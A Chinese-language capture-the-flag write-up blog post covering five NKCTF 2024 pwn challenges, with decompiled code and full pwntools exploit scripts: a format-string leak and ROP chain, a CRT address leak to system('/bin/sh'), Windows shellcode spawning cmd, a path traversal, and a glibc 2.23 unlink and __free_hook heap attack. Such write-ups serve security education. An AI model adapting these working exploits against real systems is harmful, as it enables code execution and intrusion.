NKCTF 2024 pwn题专讲

Uncategorized
15k words

比赛感觉良好,牢gong战队明年继续坐牢。

相比去年感觉pwn题花样少了很多,只有一个堆题,讲点简单的吧。

pwn

maimai

Seccomp 禁用了 open 调用

逻辑比较简单的题。虽然业务逻辑很长,分支也很奇怪,但是可以一路顺着做。省略阅读和重命名,首先看main函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//main function
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int option; // [rsp+0h] [rbp-10h] BYREF
int calced; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(a1, a2, a3);
calced = 0;
while ( 1 )
{
while ( 1 )
{
sub_134F();
__isoc99_scanf("%d", &option);
if ( option != 1 )
break;
calc_rate();
calced = 1;
}
if ( option == 2 && calced )
{
sub_19EA();
}
else
{
if ( option != 2 || calced )
{
puts("Invalid option.");
exit(0);
}
puts("Calculate your rating first.");
}
}
}

1号选项会算个分,算完以后把一个全局变量改成1,然后才能去2号选项。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//option1
unsigned __int64 sub_188C()
{
int v0; // eax
double rank; // xmm0_8
int v3; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
double split_rate; // [rsp+10h] [rbp-20h] BYREF
double final_rate_double; // [rsp+18h] [rbp-18h]
char v7[5]; // [rsp+23h] [rbp-Dh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
final_rate_double = 0.0;
puts("Input chart level and rank.");
for ( i = 0; i <= 49; ++i )
{
__isoc99_scanf("%lf %s", &split_rate, v7);
if ( split_rate == 15.0 )
{
v0 = v3++;
if ( v0 == 2 )
{
puts("Invalid.");
return v8 - __readfsqword(0x28u);
}
}
rank = get_rank_by_str(v7);
final_rate_double = rank * split_rate + final_rate_double;
}
rate = (int)final_rate_double;
puts("Calculation Done.");
return v8 - __readfsqword(0x28u);
}

//get rank by str
double __fastcall get_rank_by_str(const char *a1)
{
if ( !strcmp(a1, "SSS+") )
return 22.4;
if ( !strcmp(a1, "SSS") )
return 21.6;
...
if ( !strcmp(a1, "D") )
return 6.4;
return 0.0;
}

于是我们可以手动控制分数。接下来看选项2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//option 2
unsigned __int64 sub_19EA()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Input your nickname.");
read(0, buf, 8uLL);
printf(buf);
printf(", your rating is: %d\n", (unsigned int)rate);
if ( rate < dword_5010 )
{
puts("I think you should play more maimai.");
exit(0);
}
sub_1984();
return v2 - __readfsqword(0x28u);
}

眼尖的同学一看就知道printf存在一个格式化字符串漏洞。并且,这个函数可以循环触发。于是我们就可以循环几次泄露许多地址。这里非常不争气地泄露了栈地址、libc地址。

分数判断结束后,足够高会进入下一个 sub_1984()

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_1984()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Big God Coming!");
puts("Can you teach me how to play maimai?");
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}

这里就是明显的栈溢出了,但是溢出长度不太长。值得一提的是,一开始想用比较取巧的办法,直接 system("/bin/sh") ,因为当前版本的sh和cat命令都是用的 openat 操作,然而最后还是出了权限bug,发现还是 pwn 程序的 suid 位问题,大概 fork 出来的新进程不会保留主进程的 uid 。偷懒失败~~

5B59786E73BA6358C067209225BC4F62

那么就只能尝试 orw 。具体来说,使用的是 openat,read,puts 三个libc中的函数来构造rop链。复习下 openat :当第二个参数为绝对地址时第一个参数无效。

最后贴一下脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
#p=process("./pwn")
p=remote('node.nkctf.yuzhian.com.cn',38628)
context.log_level="debug"

p.sendline(b"1")

p.recvuntil(b'rank.\n')
for i in range(50):
p.send(b'1000.0 SSS+\n')
p.sendline(b"2")
p.recvuntil(b'nickname.\n')
s=b"%7$p\0"
p.send(s)
cn=eval(p.recvuntil(b',',drop=True).decode())
p.send(b'n')

p.sendline(b"2")
p.recvuntil(b'nickname.\n')
s=b"%13$p\0"
p.send(s)
x=eval(p.recvuntil(b',',drop=True).decode())
libc_base=x-0x29d90

p_rdi_r=0x000000000002a3e5+libc_base
p_rsi_r=0x000000000002be51+libc_base
p_rdx_r12_r=0x000000000011f2e7+libc_base
syst=0x0000000000050d70+libc_base
bsh=0x1d8678+libc_base
r=0x0000000000029139+libc_base
#gdb.attach(p,gdbscript="b* $rebase(0x19e9)")
log.success("libc_base = "+hex(libc_base))
#pause()


opa=0x0000000000114670+libc_base
rd=0x00000000001147d0+libc_base
pts=0x0000000000080e50+libc_base

#pld=b'a'*40+p64(cn)+p64(0)+p64(p_rdi_r)+p64(bsh)+p64(r)+p64(syst)
p.send(b'n')

p.sendline(b"2")
p.recvuntil(b'nickname.\n')
s=b"%8$p\0"
p.send(s)
x=eval(p.recvuntil(b',',drop=True).decode())
stackofs=0x7ffde64c14d0-0x7ffde64c1540
flg=x+stackofs


#gdb.attach(p,gdbscript="b* $rebase(0x19e8)")
pause()

pld=b'/flag\0\0\0'+b'a'*32+p64(cn)+p64(0)+p64(p_rdi_r)+p64(0)+p64(p_rsi_r)+p64(flg+40+0x50)+p64(p_rdx_r12_r)+p64(0x1000)*2+p64(rd)
print(len(pld))
p.send(pld)

pld2=p64(p_rsi_r)+p64(flg)+p64(p_rdx_r12_r)+p64(0)*2+p64(opa)
pld2+=p64(p_rdi_r)+p64(3)+p64(p_rsi_r)+p64(flg)+p64(p_rdx_r12_r)+p64(0x40)*2+p64(rd)
pld2+=p64(p_rdi_r)+p64(flg)+p64(pts)
pause()
p.send(pld2)
p.interactive()

leak

题面比较简单,但是需要一些入门数论知识。首先看主函数的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
__int64 v5; // rdx
char v7; // [rsp+0h] [rbp-50h] BYREF
__int64 v8[4]; // [rsp+20h] [rbp-30h] BYREF
void *buf; // [rsp+40h] [rbp-10h]
int i; // [rsp+4Ch] [rbp-4h]

buf = &v7;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("I'll tell you a secret");
read(0, buf, 6uLL);
for ( i = 0; i <= 5; ++i )
printf("%c", (unsigned __int64)stdout % (unsigned __int16)*((char *)buf + i));
printf("%c\n", (unsigned int)(char)buf);
read(0, v8, 0x21uLL);
v3 = buf;
v4 = v8[1];
*(_QWORD *)buf = v8[0];
v3[1] = v4;
v5 = v8[3];
v3[2] = v8[2];
v3[3] = v5;
return 0;
}
  1. 栈上指针 buf 指向栈空间 v7 ,往里面输入六个字节。然后给 stdout 地址(事实上是 __IO_2_1_stdout的地址),分别模六个字节打印余数。
  2. 强转 bufchar 输出,即输出 buf 的最低位。
  3. 往栈上 v8 处输入33字节的数据。注意这里溢出到 buf 最低位了。
  4. buf 指向的地方写入刚刚输入的前32字节。

先看从后面看起,我们可以改一个栈指针的最低位,事实上结合泄露,就有了完全可控的往栈上前后0x100字节对齐浮动的一个指针,可以控制 buf 指针指向返回地址。32字节可以构造 ROP 链,设置 rdi -> 参数1 -> ret -> system。(这里system前面的ret,经常薄纱新手。省流:system中有一个rsp指针末尾为0的检测,rop时常常需要多ret一次来通过)

利用思路有了,但是泄露怎么办呢?古文有云:

今有标准输出不知数者:

​ 百廿七百廿七数之余百十四

​ 百廿六百廿六数之余五百十四

​ 百廿五百廿五数之余一九一九八一零

问地址几何?

《地址不知数》—-李田所

好吧我瞎编的,事实上这就是一个中国剩余定理解同余方程的问题。注意到模数强制转换为 unsigned __int16 ,汇编里面有一个 cbw 指令,代表符号扩展。简单来说,最高字比特不能为1,否则转换会出负数。于是我们大概就能在127以下找六个比较大的数,令他们的最小公倍数足够大,解方程得到:

1
addr = lcm * n + res 

考虑lcm大概为7*6=42比特,而libc地址大约为47比特,0x7f打头。那么我们只需要枚举n到不到100,来满足这些条件就行。这几道题的libc版本都是2.35的,最后的addr都为0x780结尾。

最后的脚本是另一个大佬打的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context.terminal = ["zellij", "action", "new-pane", "-d", "right", "-c", "--", "bash", "-c"]
context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
# 请教队内的密码学手子获取到sympy库里有直接的CRT方法
from sympy.ntheory.modular import crt

# p = process('./leak')
p = remote("node.nkctf.yuzhian.com.cn", 39485)

def debug():
gdb.attach(p)
pause()

# 101 | 103 | 107 | 109 | 113 | 127
# 6个互质的数
a1 = [122, 119, 121, 123, 125, 127]

# a2 = b''
payload1 = [(p8(a1[i])) for i in range(6)]
payload1 = b''.join(payload1)[::-1]

# p.recvuntil("secret\n")
p.sendafter("secret\n", payload1)

# 余数
c_list = p.recvline()
stack_al = int(c_list[-2])

c_list = [int(c_list[i]) for i in range(6)][::-1]

# # 解中国剩余定理
res = crt(a1, c_list)[0]
# leak stdout
# print(hex(res))
info("leak: " + hex(res))
n = 1
for i in range(0, 6):
n *= a1[i]

info("n: " + hex(n))

# 确保 stdout_addr 差不多接近

stdout_addr = 0
c = 0
while True:
stdout_addr = res + c * n
if (stdout_addr >> 44) == 0x07:
if (stdout_addr & 0xfff) == 0x780:
break

# if c % 0x10 == 0:
# info("stdout_addr: " + hex(stdout_addr))

c += 1
assert c < 100

info("stdout_addr: " + hex(stdout_addr))
# info("guess libc: " + str([hex(stdout_addr - i * n) for i in range(-11, 10)]))
# pause()
# guess remote is 2.35-0ubuntu3.6
libc = ELF("./libc.so.6")

libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
info("libc_base: " + hex(libc_base))
libc.address = libc_base

ret = 0x0000000000029139 + libc_base
pop_rdi = 0x000000000002a3e5 + libc_base

info("stack_al: " + hex(stack_al))

payload = b''.join(
[
p64(pop_rdi),
p64(libc.search(b"/bin/sh").__next__()),
p64(ret),
p64(libc.symbols["system"]),
p8(stack_al + 0x58)
]
)

# debug()

p.send(payload)

p.interactive()

来签个到

会点 windows 但不多。脚本是其他大佬写的,漏洞就是栈溢出。这里只讲最后利用,大家可以尝试自己用x96dbg来调。

1
LoadLibraryExA("ucrtbase", 0, 0) 、GetProcAddress(eax, "system")、system("cmd") 。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3

from pwn import *
import sys

context.arch = 'i386'

LOCAL = len(sys.argv) == 1
if not LOCAL:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
p = process('./a.exe')

p.sendlineafter(b'NKCTF2024\r\n', (b'%p' * 28 + b'=%s=%p=%p=').ljust(92, b'\x00') + p32(0x4091B8))
p.recvuntil(b'=')
dll_leak, __, canary_leak, __ = p.recvuntil(b'ohhh,no').split(b'=')

msvcrt_base = u32(dll_leak[: 4]) - 0x10188D40
canary = int(canary_leak, 16)

print(hex(msvcrt_base))
print(hex(canary))
assert b'\n' not in p32(canary)

buffer = 0x405000
add_esp_0xc_ret = 0x403c51
add_esp_0x1c_ret = 0x00401dea
pop_eax_ret = msvcrt_base + 0x10169ae5
jmp_eax = msvcrt_base + 0x10110ecd
gadget1 = 0x403c4b # mov eax, dword ptr [eax + 0x114] ; add esp, 0xc ; ret

input()
p.sendline(b'0' * 100 + p32(canary) + b'1' * 12 +
p32(0x403fc4) + # jmp gets
p32(add_esp_0xc_ret) + p32(buffer) * 3 + # gets(buffer) and buffer
p32(pop_eax_ret) + p32(0x101bb1ac + msvcrt_base - 0x114) + # .idata VirtualProtect
p32(gadget1) + p32(0) * 3 +
p32(jmp_eax) +
# VirtualProtect(buffer, 0x1000, 0x40, buffer + 0x800)
p32(pop_eax_ret) + p32(buffer) + p32(0x1000) + p32(0x40) + p32(buffer + 0x800) +
p32(buffer) +
p32(jmp_eax)
)

shellcode = asm(f'''
mov ebx, 0x01010101
mov edx, {hex(msvcrt_base + 0x101BB16c)}
mov edi, [edx]
mov esi, [edx + 0x8]

push 0x0
push 0x65736162
push 0x74726375
push 0x0
push 0x0
push esp
add dword ptr [esp], 0x8
call edi

push 0x01016c64
xor [esp], ebx
push 0x74737973
push esp
push eax
call esi

push 0x01656c62
xor [esp], ebx
push esp
call eax
''')

assert b'\n' not in shellcode
assert b'\x1a' not in shellcode

input()
p.sendline(shellcode)

context.log_level = 'debug'

p.interactive()

# type flag.txt

# NKCTF{kv9s0d-230fnsa-pamvque882-0dma1p23}

httpd

事实上是道web题吧?本来想看看有没有内存破坏啥的,但最后就是路径穿梭。

先考虑输入一个满足要求的payload:

1
2
3
GET /path/to/where/ HTTP/1.0
Host: 1.2.3.444
Content-length: 1

每行 \r\n 隔开,最后一行要俩。

前三项用 scanf("%[^ ] %[^ ] %[^ ]") 读入,表示读三个不含空格的串。这里三个大溢出,但是没用。

这里是看岔了,没有溢出。

问题出在用 strlen 来计算第二项路径长度的时候,结果用了一个 char 存结果,相当于整数溢出了,影响了下面对 heystack 的判断。

image-20240325011302724

这就导致输入很多个斜杠,然后带两个点,底下五个判断的第五项可以被绕过,导致一次往上的路径穿梭。服务器上上一层就有flag。最后给脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3

from pwn import *
import sys

LOCAL = len(sys.argv) == 1
if LOCAL:
p = process('./httpd')
else:
p = remote(sys.argv[1], int(sys.argv[2]))

p.send(b'GET /.' + b'/' * 256 + b'.. HTTP/1.0\r\n')
p.send(b'host: 0.0.0.10\r\n')
p.send(b'Content-length: 0\r\n')

p.recvuntil(b'./flag.txt:')
data = p.recvline(keepends=False)

from Crypto.Cipher import ARC4
print(ARC4.new(b'reverse').decrypt(data))

# p.interactive()
p.close()

# NKCTF{35c16fb6-2a41-4b83-b04c-c939281bea4c}

pallu

image-20240325011709711

2.23堆题。讲起来好麻烦。。。

很大的题面,有图鉴数组 palluhandbook ,相当于帕鲁的模板信息,不能改动。

image-20240325012526639

而帕鲁信息存在全局数组上,里面有一个 Label 指针指向堆上字符串。size 表示堆块大小,三选一,大于 fastbinname 16字节,交配生成新帕鲁时完全可控无截断,可以贴到 Label 来泄露东西。

Label 堆块在帕鲁生成时填充垃圾内容,可以修改,但修改后全局不可打印。全局范围最多修改两次。剩余修改次数用全局变量存。

修改 Label 可以填入0x520字节内容,显然有堆溢出。

交配生成mini帕鲁,堆大小只有0x200。

题目给了 gift 函数:

image-20240325012741227

最开始时输入输出都没有截断,传入a1为主函数的栈空间,显然存在栈残留泄露,这里可以泄露libc、text、栈三个地址。

控制gift输入的字符,可以生成两个mini帕鲁。

于是呢,四大地址都有了,bss全局数组中也存了堆地址,这样就有了 unlink 的条件;unsortedbin attack 也可用来把剩余修改次数改大。

于是分别做上面两步:

  1. 申请 c1c2 俩连续堆块,c1+0x10处伪造一个 size(c1)-0x10 的堆块,伪造 prevsize 使得可以寻址到 c1+0x10 ,伪造 c2prev_inuse 位为0。
  2. 伪造 c1fd bk 使得 fd->bk bk->fd 都指向 Label(里面存有c1来绕检测) 。(这里知道为啥要 c1+0x10 了吧,经典 unlink 套路)
  3. free(c2) 触发前向合并 unlinkLabel 指向自己-0x18。
  4. 删光堆块,申请三个连续,释放第二个,用改堆功能从第一个溢出到第二个的fd bk ,重新申请,进行unsortedbin attack ,改大剩余修改次数。

现1、2步用一次改堆,4步用一次改堆,没超出限制。现在Label 指向自己-0x18,且可以无限写入,那么事实上就可以把自己改成 freehook , 然后将 freehook 改成 system

最后给脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'

def skip(idx):
p.sendlineafter(b'10.Help\n----------------------\n', str(idx).encode())

def create(index):
skip(1)
p.sendlineafter(b'index:', str(index).encode())

def edit(index, content=b'\x00'):
skip(2)
p.sendlineafter(b'index:', str(index).encode())
p.sendafter(b'Labels:', content)

def show(index):
skip(3)
p.sendlineafter(b'index:', str(index).encode())
p.recvuntil(b'labels: ')
return p.recvline(keepends=False)

def breed(index1, index2):
skip(4)
p.sendlineafter(b'index:', str(index1).encode())
p.sendlineafter(b'index:', str(index2).encode())

p.sendlineafter(b'yourself?(y/n)', b'y')
p.sendafter(b'name:', b'0123456789abcdef')

def delete(index):
skip(5)
p.sendlineafter(b'index:', str(index).encode())

def show_name(index):
skip(6)
p.recvuntil(b'\n%d.\npallu name: ' % index)
return p.recvline(keepends=False)

def gift(index):
skip(8)
if index in [0, 1]:
p.sendlineafter(b'git code:', [b"Happy NKCTF2024!", b"Welcome PalluWorld!"][index])
else:
assert type(index) == bytes
assert b'\n' not in index
p.sendlineafter(b'git code:', index)
p.recvuntil(b'Your gift code : ')
p.recvline()
return p.recvline(keepends=False)

'''
# proxy
import socks
context.proxy = (socks.HTTP, '192.168.168.47', 10809)
'''

import time
import random

def exp():
create(1) # 0
create(1) # 1
breed(0, 1) # 2
heap_base = u64(show_name(2)[0x10: ] + b'\x00\x00') - 0xa30
print('heap:', hex(heap_base))
delete(2)
delete(1)
delete(0)

libc_base = u64(gift(b'0' * 0xf) + b'\x00\x00') - libc.sym['_IO_2_1_stdin_']
print('libc:', hex(libc_base))
elf_base = u64(gift(b'0' * 0x2f) + b'\x00\x00') - 0x1260
print(' elf:', hex(elf_base))

gift(0) # 0
create(1) # 1
edit(0, (
p64(0) + p64(0x201) +
p64(elf_base + 0x6200 + 0x10 - 0x18) + p64(elf_base + 0x6200 + 0x10 - 0x10)
).ljust(0x200, b'\x00') + p64(0x200) + p64(0x510))
delete(1) # ~1

gift(1) # 1
create(1) # 2
create(1) # 3
delete(2) # ~2
edit(1, b'A' * 0x208 + p64(0x511) + p64(0) + p64(elf_base + 0x6000))
# time.sleep(0.5)
create(1) # 2

edit(0, p64(0) +
p64(0) * 2 + p64(libc_base + next(libc.search(b'/bin/sh\x00'))) + p32(0x500) +
p64(0) * 2 + p64(libc_base + libc.sym['__free_hook']) + p32(0x500)
)
edit(1, p64(libc_base + libc.sym['system']))
delete(0)

# context.log_level = 'debug'
import sys
LOCAL = len(sys.argv) == 1

program = './pallu'
libc = ELF('./libc-2.23.so', checksec=False)

if LOCAL:
p = process(program.split(' '))
else:
if len(sys.argv) == 2:
host, port = sys.argv[1].split(':')
port = int(port)
else:
host, port = sys.argv[1], int(sys.argv[2])
p = remote(host, port)

exp()

p.interactive()

小结

今年pwn题没去年那么多样了,虽然也不会直接出原题吧,不过感觉趣味性少好多。很怀念去年的开盒题。

raw.zip

rurudo小姐的直播很棒,比赛两天都在看,有志向的ctf选手都应该去看看。

关注 rurudo小姐 谢谢喵。